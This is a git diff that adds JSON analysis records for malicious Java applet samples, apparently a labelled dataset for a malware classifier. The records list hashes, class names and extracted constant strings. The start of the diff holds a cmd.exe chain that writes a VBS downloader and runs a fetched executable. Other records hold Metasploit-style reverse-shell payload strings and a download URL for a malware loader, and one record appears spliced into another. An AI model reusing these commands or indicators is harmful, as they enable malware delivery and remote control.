cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\JoUyJn2S.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\JoUyJn2S.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3b98c8c3fd0d567db87d39dd6f9b935931c3bfa1", "file_name": "java_malicious/f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04", "_id": "d3099971-815d-4064-bf76-3b488e7ef265", "score": 0, "entropy": 5.901309268749143, "libmagic": "compiled Java class data, version 45.3", "file_size": 3287, "ssdeep": "96:izGlhWe3NwukmsPUEYa3dNdD8X/PwumkcI:TlQe9wukBsEz3d3D8vDN", "sha256": "f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04", "md5": "3f14c2ecd974618a659c1107e5676f80", "parent_sha256": "f6332c9cfeaa4a0d0a80a4cd5fcefa2334880f444c8ca1f0b070cb8790d2ed04"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results b/java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results new file mode 100755 index 0000000..d8b9c66 --- /dev/null +++ b/java_classification/data/malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HyQkTrd.java", "class_name": "QvpGop/HyQkTrd", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "drubopm", "DFCDv", "wjgudC", "wBGqtCeeE", "dQyQHLra"], "minor_version": 0, "const_pool_count": 207}}, "_id": "dfa6cc64-49e3-4fac-a3f6-b2c953bcd68e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bb64691b2e1723c7291f00cc78ee3d1cc9591eb0", "file_name": "java_malicious/f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de", "_id": "dfa6cc64-49e3-4fac-a3f6-b2c953bcd68e", "score": 0, "entropy": 5.452018957126809, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3191, "ssdeep": "96:GzrtBFls3CMFWPeYVL5oi0/Os2PgVMfUc9rDJ:GFzls3JWWYToz/OsMMc9HJ", "sha256": "f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de", "md5": "8671cfd92343613560063cbe7d7bc83c", "parent_sha256": "f799222fa2ede5d20816bbd625421e95d18e2d875f23765cddc80766515f88de"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results b/java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results new file mode 100755 index 0000000..652866e --- /dev/null +++ b/java_classification/data/malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VirusInfo.java", "class_name": "VirusInfo", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["main", ""], "minor_version": 3, "const_pool_count": 133}}, "_id": "6bd11490-4a96-4591-bbe7-310808390073", "verbose": {"java": {"constant strings": ["\\t|", " \\t | \\t", " \\t|", " \\t | \\t", ".class", "Landing Camel International", "Usage: java VirusInfo file.class", "Virus Information Recovery (c) 1998", "r", "user.dir", "| [ field name ] | [ dec ] | [ hex ] |", "| virus_code_length | \\t", "| virus_cp_count | \\t", "| virus_cp_length | \\t", "| virus_method_length | \\t", "|-------------------------------------------------------|"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b681d40bc44ef99f04111e92f95b48f62f7f0d99", "file_name": "java_malicious/f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6", "_id": "6bd11490-4a96-4591-bbe7-310808390073", "score": 0, "entropy": 5.80287956953279, "libmagic": "compiled Java class data, version 45.3", "file_size": 2302, "ssdeep": "48:Q5YzV2AMpSW0rfFk9znbr6IvSfP8TckIz0IglVq4zo:ZzVHr7ySfDWqEo", "sha256": "f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6", "md5": "06e4ad527c1ab1af3eada4e8863503b9", "parent_sha256": "f86f2d0eb88ba444dec4a68b2b17a17b96d356c21db3c1242dc3f1a8777201e6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results b/java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results new file mode 100755 index 0000000..9c4825e --- /dev/null +++ b/java_classification/data/malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TAZBvtO.java", "class_name": "TAZBvtO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "GzwfAg", ""], "minor_version": 0, "const_pool_count": 159}}, "_id": "7dd9a888-9a1b-478c-a3d1-cd59be0fb1be", "verbose": {"java": {"constant strings": ["UCRuCESTOR_kGHGACT", "LGPG\\x08GQR\\x08OKGAC\\x08bGRGdS@@CTd_RC", "UCRcJCK", "OHROHR", "LGPG\\x08GQR\\x08OKGAC\\x08bGRGdS@@CT", "r\\x7fvcyd\\x7frc", "LGPG\\x08GQR\\x08OKGAC\\x08kSJROvO^CJvGEMCBuGKVJCkIBCJ", "LGPG\\x08GQR\\x08OKGAC\\x08tGURCT", "ETCGRCqTORGDJCtGURCT", "LGPG\\x08GQR\\x08OKGAC\\x08uGKVJCkIBCJLGPG\\x08GQR\\x08OKGAC\\x08bGRGdS@@CTLGPG\\x08GQR\\x08vIOHR", "LGPG\\x08GQR\\x08OKGAC\\x08oHBC^eIJITkIBCJ", "LGPG\\x08GQR\\x08gJVNGeIKVIUORC", "uTE", "ETCGRCeIHRC^R", "LGPG\\x08GQR\\x08OKGAC\\x08eIJITkIBCJLGPG\\x08GQR\\x08OKGAC\\x08eIJITkIBCJLGPG\\x08GQR\\x08tCHBCTOHAnOHRU", "IU\\x08HGKC", "", "kGE", "IU\\x08GTEN", "\\x10\\x12"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c6f6edc6705f0f3dbb9d693f5cd15f8dc6f5afef", "file_name": "java_malicious/f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08", "_id": "7dd9a888-9a1b-478c-a3d1-cd59be0fb1be", "score": 0, "entropy": 6.028854959484067, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4097, "ssdeep": "96:T/cV+FlZMyMgrqFDdFpgPujIwx9+dTnA6qkRsjg/gtkGPz:T/eclaCrqF5FpAujFEdTAlWsjg/gtBz", "sha256": "f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08", "md5": "230850e7feef68bb35a24947d5267a35", "parent_sha256": "f9cc26c6cf5e304538312122b24625cecbac07a63d6f7805dc6f696edb966c08"}} \ No newline at end of file diff --git a/java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results b/java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results new file mode 100755 index 0000000..41ff2d8 --- /dev/null +++ b/java_classification/data/malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "oQZXV.java", "class_name": "oQZXV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "bXiWgJbU", ""], "minor_version": 0, "const_pool_count": 159}}, "_id": "a8482009-fe76-4703-a482-ac374de9e392", "verbose": {"java": {"constant strings": ["v`qV`fpwlq|Hdkdb`w", "odsd+drq+lhdb`+AdqdGpcc`wG|q`", "v`q@i`h", "lkqlkq", "odsd+drq+lhdb`+AdqdGpcc`w", "Q\\\\U@ZG\\\\Q@", "odsd+drq+lhdb`+HpiqlUl}`iUdfn`aVdhui`Hja`i", "odsd+drq+lhdb`+Wdvq`w", "fw`dq`Rwlqdgi`Wdvq`w", "odsd+drq+lhdb`+Vdhui`Hja`iodsd+drq+lhdb`+AdqdGpcc`wodsd+drq+Ujlkq", "odsd+drq+lhdb`+Lka`}FjijwHja`i", "odsd+drq+DiumdFjhujvlq`", "Vwf", "fw`dq`Fjkq`}q", "odsd+drq+lhdb`+FjijwHja`iodsd+drq+lhdb`+FjijwHja`iodsd+drq+W`ka`wlkbMlkqv", "jv+kdh`", "", "Hdf", "jv+dwfm", "31"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "49d39ed4d518e1405ea2b37eba33098cdc238020", "file_name": "java_malicious/faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e", "_id": "a8482009-fe76-4703-a482-ac374de9e392", "score": 0, "entropy": 6.001052104741967, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4164, "ssdeep": "96:T/cPFlgJeJEKnG0HDGNPe4nd99Y81M4GfJkY0jWn8/:T/YlM2nG0HuBnZi4GGWnI", "sha256": "faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e", "md5": "8291d8caa7fb768ce3d78572c58db6ad", "parent_sha256": "faf2474fdb3710b42cd0a5060b80513759b2734b82b8c3e160718632a6feec2e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results b/java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results new file mode 100755 index 0000000..85d45c5 --- /dev/null +++ b/java_classification/data/malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "eAkznkbTDp/NaMiljK", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "be0be817-c8bf-408f-8f0b-5053dfe7251c", "verbose": {"java": {"constant strings": ["eAkznkbTDp.NaMiljK", ".class", "/eAkznkbTDp.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "eAkznkbTDp.dat", "URL", "", "https:", "eAkznkbTDp/NaMiljKTrustManager.class", "NaMiljKTrustManager.class", "AESPassword", "eAkznkbTDp/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "eAkznkbTDp.NaMiljKTrustManager", "useFor", "java.net.URLConnection", "eAkznkbTDp.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "NaMiljK -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1b8eb371adfcfbc43612080fb6a0a4999598c0c7", "file_name": "java_malicious/fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0", "_id": "be0be817-c8bf-408f-8f0b-5053dfe7251c", "score": 0, "entropy": 6.146103762445165, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMiDUBkFI+WU3ThmAzlQxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvR:gmO1t2OIStmnyNvpvUrKYvCkgHzbDrDF", "sha256": "fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0", "md5": "5d701c76ce80650e2d775e319963ca15", "parent_sha256": "fb73bd8fdb4d3a88f9fe042dd2c383bed70f5bd5a7897103dc83c267d79c74a0"}} \ No newline at end of file diff --git a/java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results b/java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results new file mode 100755 index 0000000..04da033 --- /dev/null +++ b/java_classification/data/malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "myf/y/LoaderX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "LoaderX.java", "method_names": ["", "bynzfuimcuktrnmbka", "zzzhaspsctmabcfxfgwqk", "caqjtsxrzkvherknekhaidnbl", "writeObject", "alwxaybdfkiuidfxpyqd", "mwzowsidfksmdpnaqpotjbddlf", "readObject", "gvfikteqmrkizradvhwnosbfbljrwr", "vsgsmkoujtkzkpiawnldrk", "bootstrapPayload", ""], "minor_version": 0, "const_pool_count": 243}}, "_id": "537f0492-673a-4822-aec6-6d30c29fda05", "verbose": {"java": {"constant strings": ["qauosgffggtwkwidxlmcavcjki", "zhvitdtjjfonjfqgwiw", "tmmnkvlqxnfipyy", "rnhjuihifc", "jnhozbofsxnnesqalsqpdqx", "afunpkhibulewkmwzw", "moshvnmtlujflog", "sgpxatbzlngtpgnrofsry", "/myf/y/gzdldlphprpkjcox.class", "jptdvxtahxqcjxxkjuloywtqjav", "infgqwjrrthpzyjn", "gblotedyyavkhrsuutnlvilfmzgld", "xqgmgjhrxjgtxfta", "mwpjzsoojziwuxrfvezbnadlndk", "oxtqeljhyuf", "gbvrglyjcsjwoe", "mkgyhbikbdxwuetqxhapjbl", "file:///vizobagcdcqinpidde", "wsxyijyxhfckiwsyoqplpe", "ojhmsqzwkkcltylghzjresstzvv", "zjkvtoewidape", "wlhdjestvkpubljlgf", "flcpgmodlsngiheu", "enatoqiptoavuuwtbm", "bdxgmygyzirmzthcgdrneazz", "aohlcqnntdafevrdcdzkrwyosjzs", "vhlxyxuiczidygjunxtgmrxzwtoy", "zfsehfcuaqf", "unxoqaqmeyajdqmftxarsecuggqgb", "dvnussdmawfmw", "zcgnzpxvtxfolfz", "fpddorlgczfxhpra", "myf.y.gzdldlphprpkjcox", "datadeudsoloalripyrjhsdzrtharsw", "aoqizmindwvmqreuheuoffqjfd", "bifekwyvwsricfvriflmiazw", "kbyiktuysecfyadoe", "wmnpqmchrxznzkxrzacnrjh", "fcxlkekjkdmgbys", "ehslkbqwgxeqchjzsewpmatt", "ccuscgyhrqqovvvdhdybgmbzldnzc", "lpettsfxuwjeqelp", "opwiluhcgqoa", "wogxefjnwrpdfs", "scdzeckyeylgno", "dcerdriudk", "fdhqheeygoxwkr", "ewmgjccljvyznofaqflgcg", "eptlhhqpndcvqlogvaamvgypvzi", "oslinsebziodejocterczpvroz", "hiyvioqscypinanadyrrwgsoebx", "fvyeabpytxfjixn", "bdlkmoffgrlqxe", "ncrgbqhjwoyzxwhsl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "693ab6714cd41863971cc26cc3a3b8c2ed2d3497", "file_name": "java_malicious/fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7", "_id": "537f0492-673a-4822-aec6-6d30c29fda05", "score": 0, "entropy": 5.862520871454147, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4624, "ssdeep": "96:tAU5hOx4wFl6bEAWVO0gP02aT3XKB06590Q5iTwIkYgbfUHPOj:tOlleAO0qpaT3ad59pewIfgbfUHk", "sha256": "fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7", "md5": "a0f09a7cceb967018791fd58dfe6d594", "parent_sha256": "fbc4329bb88a4e59839b5637743702e8d788dec1beeabe80977cf195e6e20bd7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results b/java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results new file mode 100755 index 0000000..2608cd2 --- /dev/null +++ b/java_classification/data/malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FyrwMNq.java", "class_name": "qYgzrtb/FyrwMNq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "uVxkDGvzk", "viVqBjie", "cKsviyLv", "yfGdYxy"], "minor_version": 0, "const_pool_count": 197}}, "_id": "561e551f-437e-435f-9944-8d198d9ef0ef", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9ed75d2ae57d4fb27d3b03b2a3742e535cab2033", "file_name": "java_malicious/fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa", "_id": "561e551f-437e-435f-9944-8d198d9ef0ef", "score": 0, "entropy": 5.358606941101659, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3182, "ssdeep": "48:z4b35h6y5l2yFlwBV7F8M2Cj9iJp0fY8/0rqgeUcr4mkGw+k+4Hc/02geUMb0RGM:kzrtBFlkL8M2Cj9e0UcCH0UPEcUElSq", "sha256": "fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa", "md5": "f715b76ebfb755175635e8373ebaf123", "parent_sha256": "fd32eb852457b0eec711b651339a8dd90d51d8498d3dbaa99dab45170fedeffa"}} \ No newline at end of file diff --git a/java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results b/java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results new file mode 100755 index 0000000..92a61d4 --- /dev/null +++ b/java_classification/data/malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Pimm.java", "class_name": "Pimm", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Vdes", "GNJ"], "minor_version": 0, "const_pool_count": 124}}, "_id": "410eff6b-a524-46bb-b0ed-574049f9fa2b", "verbose": {"java": {"constant strings": ["ra", "ndom", "java.iWo.FileWOWutputStrWeam"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2faae7619a31b046e5ab1481e88ced77011c0f85", "file_name": "java_malicious/fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960", "_id": "410eff6b-a524-46bb-b0ed-574049f9fa2b", "score": 0, "entropy": 5.485983083534976, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2030, "ssdeep": "48:7pDKVKyFlG5cnmmeLyDK0rrSGX2sHHgkYsT+s1B:eFlGwf5JhnT+AB", "sha256": "fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960", "md5": "2067ecf26a2e24de7d190eddb0870304", "parent_sha256": "fd461313ebd10b430cb5838125206f41a7e81683305527d6b3668bca806ce960"}} \ No newline at end of file diff --git a/java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results b/java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results new file mode 100755 index 0000000..bb13120 --- /dev/null +++ b/java_classification/data/malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 116}}, "_id": "2fc32a78-8ae6-4a85-ac6d-60104bd4f335", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,Pl,Pl,PN,pJ,0N,pN,pL,Pn,pz,0K,Xg,pG,pu,P3,0J,KW,px,ik,LE,Pw,p5,PQ,O3,TO,Qp,0e,Pu,PW,pr,Xd,LL,Ka,PT,LL,Kp,pu,Ll,mL,KS,XU,XZ,Kw,yl,Ka,Pf,TL,MC,pq,ln,k1,x7,Ln,kj,W0,j7,tf,9K,Xn,ow,p3,05,Pz,Bk,Ip,hR,OP,nE,Pu,Pq,xp,u0,rB,Lr,Mc,dY,o4,Vn,km,8j,Hb,Y3,0S,05,PL,Kz,wq,Wo,pu,oW,pS,Eh,za,WQ,Gp,Gk,07,O7,pr,Uk,JN,k8,oS,od,so,9k,1x,lC,4U,Qg,pS,0L,KK,lp,QP,R0,S3,XG,tf,ag,pu,PK,O0,Vt,LQ,JP,Yb,qQ,BN,kt,Bb,sC,so,p5,kE,PP,uh,zm,QQ,kK,Ld,nR,ET,8c,Ua,eU,SL,Ch,kw,xO,yc,3y,Wp,Ct,DT,nQ,u0,xC,Ux,Fs,s5,XU,Pa,KL,Jy,QT,Dd,pl,HP,Eu,P4,so,0V,0R,pQ,CV,7P,Pk,OB,vV,pk,3Y,hu,Pd,5T,Fs,ZU,QS,cI,os,ff,d1,JB,yn,c9,RS,4g,1O,pv,Zg,pT,5m,d9,oR,vT,Hp,QR,vn,kB,Uu,ll,KD,4v,Nb,XV,ck,Es,fL,Kq,fu,pc,3y,eP,3Z,iQ,Yq,QL,ms,3k,uV,Sk,kT,OO,Nv,p6,Zj,vP,te,XJ,ax,KF,mG,si,JG,0Z,Kx,qg,K5,Or,U9,wc,nN,kQ,Na,45,SK,mB,Fl,K6,lr,kN,kS,nu,LE,S9,ML,Kw,tn,kS,3X,El,ka,NR,yo,3j,Hk,OK,Nk,OI,oL,NP,ND,NZ,LN,x9,nL,JV,nQ,nk,hy,rC,C5,ck,zn,jc,k6,VW,jf,O0,pa,Zg,2a,dR,Ls,0q,x0,tP,tt,0u,jT,ov,Os,QR,F2,Us,TR,O0,mp,us,D2,O4,nQ,y2,N2,Fp,ot,op,cp,g2,Id,m1,rQ,yb,NF,OR,Pe,82,Pf,OP,zd,p4,pV,X4,q0,0p,6u,bT,pf,QD,s4,qv,Xq,bp,0v,T4,pV,Yp,Jt,pq,vt,pV,Pt,pu,fT,pP,1p,Rr,FB,FV,W1,vU,bf,Tu,5v,RS,hv,YU,dQ,qR,FP,bq,rt,qp,c2,ys,Tq,vB,DF,Sv,Qp,0R,Cp,dS,jt,pT,qP,0f,Pr,FD,pt,wf,PG,p7,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "u", "abs", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "adce8e2eb6bc411cd694d222613a0651a95cbbce", "file_name": "java_malicious/fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56", "_id": "2fc32a78-8ae6-4a85-ac6d-60104bd4f335", "score": 0, "entropy": 6.108753974854461, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3538, "ssdeep": "96:TwFlbBZ4c01YVSOVkBe58rSCjtrbF8y4cM:mlP4FVOVkBe5cXpDnM", "sha256": "fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56", "md5": "1a3543eefd89c02dbe4e3877c2f5a769", "parent_sha256": "fdc57ed55eb0d77c2415a006001ca108f98f9442f27c7fc2c1eb1c854afddf56"}} \ No newline at end of file diff --git a/java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results b/java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results new file mode 100755 index 0000000..6cf44ef --- /dev/null +++ b/java_classification/data/malicious/fdd659fc848fb6f00ea265681f06fd6bf4a8d551bcb755e6f5e59dd0aeaa7d22.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OCAywsKPk.java", "class_name": "OCAywsKPk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "tIbuKQmDH"], "minor_version": 0, "const_pool_count": 92}}, "_id": "dd9c3f9c-3ddb-475c-8718-9aa9b54dce81", "verbose": {"java": {"constant strings": ["/$3$k6 &07,1", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "dc05c79f-fab7-4f2b-bdd8-0d2dc1e85d31", "verbose": {"java": {"constant strings": ["qANHPnQvGW.Payload", ".class", "/qANHPnQvGW.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "qANHPnQvGW.dat", "URL", "", "https:", "qANHPnQvGW/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "qANHPnQvGW/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "qANHPnQvGW.PayloadTrustManager", "useFor", "java.net.URLConnection", "qANHPnQvGW.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javawMyOvLu.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cd8cd0b8cea80b3a59abf1c752d8a9ad0c9e628b", "file_name": "java_malicious/fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716", "_id": "dc05c79f-fab7-4f2b-bdd8-0d2dc1e85d31", "score": 0, "entropy": 6.149112811490959, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMvDUBP+WvdJThm4dxlIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1thP/tmsjNvpvUrKYvCkgHzbDrDF", "sha256": "fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716", "md5": "e5a7caa8ea23a799085cdd04a1787a1c", "parent_sha256": "fe1013f20b2b3fc9f14daff30ffc767c1ea2e1aa1fbfe95e974d826295879716"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results b/java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results new file mode 100755 index 0000000..62351bf --- /dev/null +++ b/java_classification/data/malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "33bf5ab2-26e8-43d4-be9a-0cccf288b524", "verbose": {"java": {"constant strings": ["no error", "os.name", "http://zchxsikpgz.biz/dl/loaderadv536_4.exe", "\\\\loadnew.exe", "http://zchxsikpgz.biz/dl/cheat.php?adv=adv536"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6580f650a0eca1f0aebc043f17e27e3b85ba6fef", "file_name": "java_malicious/ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a", "_id": "33bf5ab2-26e8-43d4-be9a-0cccf288b524", "score": 0, "entropy": 5.894211130661623, "libmagic": "compiled Java class data, version 45.3", "file_size": 2953, "ssdeep": "48:9JrYyss0yFlS/vJ4RRLTwe5dj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhILTwTtcSkjfcGcEk51rX2oh", "sha256": "ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a", "md5": "cda876ea377824a37c2ca6d7b1b8ee0d", "parent_sha256": "ff875ec594bd0c6462c982ac259a466d9c19d7b8ff138f130094702157cc840a"}} \ No newline at end of file diff --git a/java_classification/images/coffee-icon.png b/java_classification/images/coffee-icon.png new file mode 100755 index 0000000000000000000000000000000000000000..cffab7c3de967f668232d9d2a496160cc691fd90 